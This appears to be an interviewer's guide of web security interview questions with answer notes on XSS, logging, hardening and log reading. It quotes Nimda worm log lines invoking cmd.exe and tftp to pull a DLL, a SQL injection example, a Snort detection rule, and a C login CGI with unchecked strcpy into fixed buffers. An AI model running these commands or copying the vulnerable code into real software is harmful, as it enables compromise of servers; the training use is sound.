Goal of question Determine if the applicant utilizes computer security resources such as CERT, SANS Internet Storm Center or ICAT. Email lists such as securityfocus, bugtraq, SANS @RISK, etc. are also good resources. Recent examples of threats will vary depending on current events, but issues such as new web based worms (PHP Santy Worm) or applications, which are in wide use (awstats scripts) are acceptable.

Learn more about Web Security

Goal of question We are attempting to see if the applicant has a wide knowledge of web security monitoring and IDS issues such as:

• Limitations of NIDS for web monitoring (SSL, semantic issues with understanding HTTP)

• Proper logging increasing the verboseness of logging (Mod_Security audit_log)

• Remote Centralized Logging

• Alerting Mechanisms

• Updating Signatures/Policies

Goal of question This question will determine if the applicant is well versed in the terminology used in web security. The applicant needs to be able to articulate highly technological topics to a wide audience. The second question will help to verify that the applicant fully understands how XSS attacks work and the impact to client information. WASC has a web security glossary of terms.

Cross-Site Scripting: (Acronym XSS) An attack technique that forces a web site to echo client-supplied data, which execute in a users web browser. When a user is Cross-Site Scripted, the attacker will have access to all web browser content (cookies, history, application version, etc). XSS attacks do not typically directly target the web server or application, but are rather aimed at the client. The web server is merely used as a conduit for the XSS data to be presented to the end client. See also "Client-Side Scripting".

Goal of question Once again, there is no right or wrong answer, however we are interested in what the applicant views as important.

Web Server Security:

• Update/Patch the web server software

• Minimize the server functionality disable extra modules

• Delete default data/scripts

• Increase logging verboseness

• Update Permissions/Ownership of files

Web Application Security:

• Make sure Input Validation is enforced within the code - Security QA testing

• Configured to display generic error messages

• Implement a software security policy

• Remove or protect hidden files and directories

68.48.142.117 - - [09/Mar/2004:22:22:57 -0500] "GET /c/winnt/system32/ cmd.exe?/c+dir HTTP/1.0" 200 566 "-" "-" 68.48.142.117 - - [09/Mar/2004:22:23:48 -0500] "GET /c/winnt/system32/ cmd.exe?/c+tftp%20-%2068.48.142.117%20GET%20cool.dll%20c:\\httpodbc.dll HTTP/1.0" 200 566 "-" "-"

Goal of question To see if the applicant is fluent at reading web server log files in the Common Log Format (CLF). In this scenario, the client system (68.48.142.117) is infected with the Nimda worm. These requests will not affect our Apache proxy server since this is a Microsoft vulnerability. While it does not impact Apache, the logs do indicate that the initial request was successful (status code of 200). The Nimda worm will only send the level 2 request (trying to use Trivial FTP to infect the target) if the initial request is successful. Depending on the exact proxying rules in place, it would be a good idea to inspect the internal IIS server to verify that it has not been compromised.

You could use either Microsoft's Internet and Security Acceleration (ISA) server as a front-end proxy or implement URLScan on the target IIS server. The urlscan.ini file has the AllowDotInPath directive which will block directory traversal attempts.

Goal of question Determine if the applicant has a wide knowledge of different authentication vulnerabilities. They may attempt default usernames/passwords or attempt SQL Injection queries that provide an SQL true statement (such as OR 1=1#). If they provide SQL examples, then offer them the following Error document information and ask them what this indicates.

ODBC Error Code = 37000 (Syntax error or access violation)

[Microsoft][ODBC SQL Server Driver][SQL Server]Line 4: Incorrect syntax near '='.

Data Source = "ECommerceTheArchSupport2" SQL = "SELECT QuickJump_Items.ItemId FROM QuickJump_Items WHERE QuickJump_Items.ItemId <> 0 AND QuickJumpId ="

The error occurred while processing an element with a general identifier of (CFQUERY), occupying document position (1:1) to (1:42) in the template file K:\InetPub\clients\login\http\ailment.cfm

The specific sequence of files included or processed is: K:\INETPUB\CLIENTS\LOGIN\HTTP\AILMENT.CFM

This error message indicates that the target web application if running Microsoft SQL and discloses directory structures

Goal of question Determine if the applicant can identify both the attack (a web defacement attempt using the HTTP PUT Method), as well as, the logging limitations of CLF. In this type of attack, the defacement text is sent in the request body and not on the URL Request line. In order to identify this data, a network sniffing application would need to be utilized. An application such as Snort could be used with a custom rule to identify this activity. Here is an example rule

alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"LOCAL Put attempt"; flow:to_server,established; tag:session,50,packets; pcre:"/^PUT /A"; sid:3000001; rev:1;)

You will need to set the appropriate HTTP header attributes to prevent the dynamic content output by the JSP page from being cached by the browser. Just execute the following scriptlet at the beginning of your JSP pages to prevent them from being cached at the browser. You need both the statements to take care of some of the older browser versions.

                                       "GET /cgi-bin/logon_validate?login=test&password=test"

The source code is shown below -

void show_error(void) {

 // AUTHENTICATION ERROR

exit(-1);

}

int main(int argc, char **argv) {
char error_on_auth='1';
char user[128];
char pass[128];
char *ch_ptr_begin;
char *ch_ptr_end;

 /**********************************/
 /* Get Username from Query String */
 /**********************************/
 ch_ptr_begin=(char *)strstr(****QUERY_STRING****,"login=");
 if (ch_ptr_begin==NULL)
             show_error();
 ch_ptr_begin+=6;
 ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
 if (ch_ptr_end==NULL) 
             show_error();
 *(ch_ptr_end++)='\0';
 strcpy(user,ch_ptr_begin);


 /**********************************/
 /* Get Password from Query String */
 /**********************************/
 ch_ptr_begin=(char *)strstr(ch_ptr_end,"password=");
 if (ch_ptr_begin==NULL) 
             show_error();
 ch_ptr_begin+=9;
 ch_ptr_end=(char *)strstr(ch_ptr_begin,"&");
 if (ch_ptr_end!=NULL) *(ch_ptr_end++)='\0';
 strcpy(pass,ch_ptr_begin);


 if ((strcmp(user,GOOD_USER)==0) && (strcmp(pass,GOOD_PASS)==0)) error_on_auth='0';

 if (error_on_auth=='0') {
  
    // AUTHENTICATION OK!!


    } else {

    // AUTHENTICATION ERROR
    show_error();


    }

 // return(0); hehe could be evil ;PPPPP
 exit(0);

}